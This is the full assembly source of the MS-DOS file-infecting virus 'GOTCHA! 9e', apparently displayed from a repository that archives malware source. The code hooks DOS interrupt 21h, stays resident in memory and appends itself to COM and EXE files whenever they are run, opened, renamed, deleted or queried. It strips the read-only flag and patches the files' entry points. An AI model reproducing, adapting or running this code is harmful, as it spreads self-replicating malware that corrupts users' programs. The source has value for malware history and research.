MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.gotcha9e.asm
2021-01-12 17:44:11 -06:00

571 lines
19 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

;****************************************************************************
;* GOTCHA! Version 9e
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:nothing
org 100h
SIGNLEN equ signend - signature
FILELEN equ end - begin
RESPAR equ (FILELEN/16) + 17
VERSION equ 9
BUFLEN equ 20h
COMSIGN equ 0
EXESIGN equ 1
MINTARGET equ 1000
MAXTARGET equ -FILELEN
.RADIX 16
;****************************************************************************
;* Start the program!
;****************************************************************************
begin: xor bx,bx
call install
int 20
;****************************************************************************
;* Data
;****************************************************************************
buffer db BUFLEN dup (?)
oi21 dw ?,?
oldlen dw ?,?
nameptr dw ?,?
handle dw ?
comexe db ?
;****************************************************************************
;* File-extensions
;****************************************************************************
EXE_txt db 'EXE'
COM_txt db 'COM'
;****************************************************************************
;* Interupt handler 24
;****************************************************************************
ni24: mov al,03
iret
;****************************************************************************
;* Interupt handler 21
;****************************************************************************
ni21: pushf
cmp ax,0DADAh ;install-check ?
je do_DADA
push dx
push cx
push bx
push ax
push si
push di
push ds
push es
cmp ax,6C00h ;open/create 4.00 ?
je do_6C00
cmp ah,56h ;rename ?
je doit
cmp ah,4Eh ;findfirst ?
je doit ;(only works without wildcards)
cmp ah,4Bh ;load / execute ?
je doit
cmp ah,43h ;attributes
je doit
cmp ah,41h ;delete ?
je doit ;(it might be un-deleted!)
cmp ah,3Dh ;open ?
je do_3D
cmp ah,17h ;FCB-rename?
je doFCB
cmp ah,13h ;FCB-delete?
jne exit
doFCB: call FCBtoASC ;COMMAND.COM still uses FCB's!
doit: call infect
exit: pop es
pop ds
pop di
pop si
pop ax
pop bx
pop cx
pop dx
popf
jmp dword ptr cs:[oi21] ;call to old int-handler
do_3D: test al,03h ;only if opened for READING
jne exit
jmp short doit
do_6C00: test bl,03h ;idem
jne exit
mov dx,di ;ptr was DS:DI
jmp short doit
do_DADA: mov ax,0A500h+VERSION ;return a signature
popf
iret
;****************************************************************************
;* Old Interupt handler 21
;****************************************************************************
org21: pushf
call dword ptr cs:[oi21] ;call to old int-handler
ret
;****************************************************************************
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
;****************************************************************************
infect: cld
mov cs:[nameptr],dx ;save the ptr to the filename
mov cs:[nameptr+2],ds
mov ah,62h ;get segment-adres of PSP
int 21
mov ds,bx ;get seg-adres of environment
mov ax,ds:002Ch
mov ds,ax
mov si,0
envloop: cmp ds:[si],byte ptr 0 ;end of environment?
je verder7
push cs
pop es
mov di,offset envstring
mov bx,0
scloop: mov al,ds:[si] ;check the current env-item
cmpsb
je scv1
inc bx ;characters don't match!
scv1: cmp al,0 ;end of env-item?
jne scloop
cmp bx,0 ;did all characters match?
je return
jmp short envloop
verder7: push cs ;check the filename
pop ds
les di,dword ptr [nameptr]
mov dx,di
mov cx,80 ;search end of filename (-EXT)
mov al,'.'
repnz scasb
mov bx,di
std ;find begin of filename
mov cl,11
mov al,'\'
repnz scasb
cld
je vvv
mov di,dx
jmp short vvv2
vvv: add di,2
vvv2: mov al,'V' ;is it V*.* ?
scasb
je return
mov cl,7 ;is it *AN*.* ?
mov ax,'NA'
ANloop: dec di
scasw
loopnz ANloop
je return
mov si,offset EXE_txt ;is extension 'EXE'?
mov di,bx
mov cx,3
rep cmpsb
jnz verder4
mov byte ptr [comexe],EXESIGN
jmp short verder3
return: ret
verder4: mov si,offset COM_txt ;is extension 'COM'?
mov di,bx
mov cx,3
rep cmpsb
jnz return
mov byte ptr [comexe],COMSIGN
verder3: mov ax,3300h ;get ctrl-break flag
int 21
push dx
xor dl,dl ;clear the flag
mov ax,3301h
int 21
mov ax,3524h ;get int24 vector
int 21
push bx
push es
push cs ;set int24 vec to new handler
pop ds
mov dx,offset ni24
mov ax,2524h
int 21
lds dx,dword ptr [nameptr] ;get file-attribute
mov ax,4300h
call org21
push cx
and cx,0F8h ;clear READ-ONLY-flag
call setattr
jc return1_v
push cs ;open the file
pop ds
lds dx,dword ptr [nameptr]
mov ax,3D02h
int 21
jnc verder2
return1_v: jmp return1 ;something went wrong... :-(
verder2: push cs ;save handle
pop ds
mov [handle],ax
mov bx,[handle] ;get file date & time
mov ax,5700h
int 21
push cx
push dx
call endptr ;get file-length
mov [oldlen],ax
mov [oldlen+2],dx
sub ax,SIGNLEN ;move ptr to end - SIGNLEN
sbb dx,0
mov cx,dx
mov dx,ax
mov al,00h
call ptrmov
mov cx,SIGNLEN ;read the last bytes
mov dx,offset buffer
call flread
jc return2_v
push cs ;compare bytes with signature
pop es
mov di,offset buffer
mov si,offset signature
mov cx,SIGNLEN
rep cmpsb
jz return2_v
call beginptr ;read begin of file
mov cx,BUFLEN
mov dx,offset buffer
call flread
cmp byte ptr [comexe],EXESIGN
jz do_exe
do_com: cmp word ptr [oldlen],MAXTARGET ;check length of file
jnb return2
cmp word ptr [oldlen],MINTARGET
jbe return2
call writeprog ;write program to end of file
jc return2
mov ax,[oldlen] ;calculate new start-adres
add ax,(offset entry - 0103h)
mov byte ptr [buffer],0E9h ;'JMP'
mov word ptr [buffer+1],ax
jmp short verder1
return2_v: jmp short return2
do_exe: call writeprog ;write program to end of file
jc return2
mov ax,[oldlen] ;calculate new length
mov dx,[oldlen+2]
add ax,FILELEN
adc dx,0
mov cl,9 ;put new length in header
shr ax,cl
mov cl,7
shl dx,cl
or ax,dx
inc ax
mov word ptr [buffer+4],ax
mov ax,[oldlen]
add ax,FILELEN
and ax,01FFh
mov word ptr [buffer+2],ax
mov ax,[oldlen] ;calculate new CS & IP
mov dx,[oldlen+2]
mov bx,word ptr [buffer+8]
push ax
mov cl,4
shr ax,cl
mov cl,0Ch
shl dx,cl
add ax,dx
sub ax,bx
mov word ptr [buffer+16h],ax ;put CS in header
pop ax
and ax,000Fh
add ax,(offset entry - 0100h)
mov word ptr [buffer+14h],ax ;put IP in header
verder1: call beginptr ;write new begin of file
mov cx,BUFLEN
mov dx,offset buffer
call flwrite
return2: mov bx,[handle] ;restore file date & time
pop dx
pop cx
mov ax,5701h
int 21
mov bx,[handle] ;close the file
mov ah,3Eh
int 21
return1: pop cx ;restore file-attribute
call setattr
pop ds ;restore int24 vector
pop dx
mov ax,2524h
int 21
pop dx ;restore ctrl-break flag
mov ax,3301h
int 21
ret
;****************************************************************************
;* Gets ASCIIZ-filename from FCB
;****************************************************************************
FCBtoASC: mov si,dx
lodsb
inc al ;extended FCB?
jne normal_FCB
add si,7
normal_FCB: push cs
pop es
xor di,di ;adres for ASCIIZ-name
mov dx,di
mov cx,8
FCB_loop: lodsb ;copy all except spaces
cmp al,' '
je FCB_verder
stosb
FCB_verder: loop FCB_loop
mov al,'.' ;append a '.'
stosb
mov cl,3 ;and the extension
rep movsb
xchg ax,cx ;and a final zero.
stosb
push es
pop ds
ret
;****************************************************************************
;* Changes file-attributes
;****************************************************************************
setattr: lds dx,dword ptr cs:[nameptr]
mov ax,4301h
call org21
ret
;****************************************************************************
;* Writes program to end of file
;****************************************************************************
writeprog: call endptr
mov cx,FILELEN
mov dx,offset begin
; call flwrite ;Hmm, save a few bytes!
; ret
;****************************************************************************
;* Subroutines for reading/writing
;****************************************************************************
flwrite: mov ah,40h
jmp short flvrdr
flread: mov ah,3Fh
flvrdr: push cs
pop ds
mov bx,cs:[handle]
int 21
ret
;****************************************************************************
;* Subroutines for file-pointer
;****************************************************************************
beginptr: mov al,00h ;go to begin of file
jmp short ptrvrdr
endptr: mov al,02h ;go to end of file
ptrvrdr: xor cx,cx
xor dx,dx
ptrmov: mov bx,cs:[handle] ;go somewhere
mov ah,42h
int 21
ret
;****************************************************************************
;* This is where infected files start
;****************************************************************************
entry: call entry2
entry2: pop bx
sub bx,offset entry2 ;CS:BX is begin program - 100h
pushf
cld
cmp byte ptr cs:[bx+offset comexe],COMSIGN
jz entryC
entryE: mov ax,ds ;put old start-adres on stack
add ax,10
add ax,cs:[bx+offset buffer+016h]
push ax
push cs:[bx+offset buffer+014h]
jmp short entcheck
entryC: mov ax,bx ;restore old file-begin
add ax,offset buffer
mov si,ax
mov di,0100
mov cx,BUFLEN
rep movsb
push cs ;put old start-adres on stack
mov ax,0100h
push ax
entcheck: mov ax,0DADAh ;already installed?
int 21h
cmp ah,0A5h
je entstop
call install ;install the program
entstop: iret
;****************************************************************************
;* Install the program at top of memory
;****************************************************************************
install: push ds
push es
xor ax,ax ;get original int21 vector
mov es,ax
mov cx,word ptr es:0084h
mov dx,word ptr es:0086h
mov cs:[bx+offset oi21],cx
mov cs:[bx+offset oi21+2],dx
mov ax,ds ;adjust memory-size
dec ax
mov es,ax
cmp byte ptr es:[0000h],5Ah
jnz cancel
mov ax,es:[0003h]
sub ax,RESPAR
jb cancel
mov es:[0003h],ax
sub es:[0012h], word ptr RESPAR
push cs ;copy program to top
pop ds
mov es,es:[0012h]
mov ax,bx
add ax,0100
mov si,ax
mov di,0100h
mov cx,FILELEN
rep movsb
mov dx,offset ni21 ;set vector to new handler
push es
pop ds
mov ax,2521h
int 21h
cancel: pop es
pop ds
ret
;****************************************************************************
;* Text and Signature
;****************************************************************************
envstring: db 'E=mc<6D>',0 ;put this in your environment!
signature: db 'GOTCHA!',0 ;I have got you! :-)
signend:
end:
cseg ends
end begin